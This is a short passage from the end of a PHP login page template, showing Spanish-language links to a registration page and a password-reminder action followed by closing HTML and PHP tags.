<tr><td><center><a href="registrar.php">Registrarse</a></td><td><center><a href="login.php?action=remember">Olvido su Password?</a></td></tr>
</table>
</body>
</html>
<?php
}
?>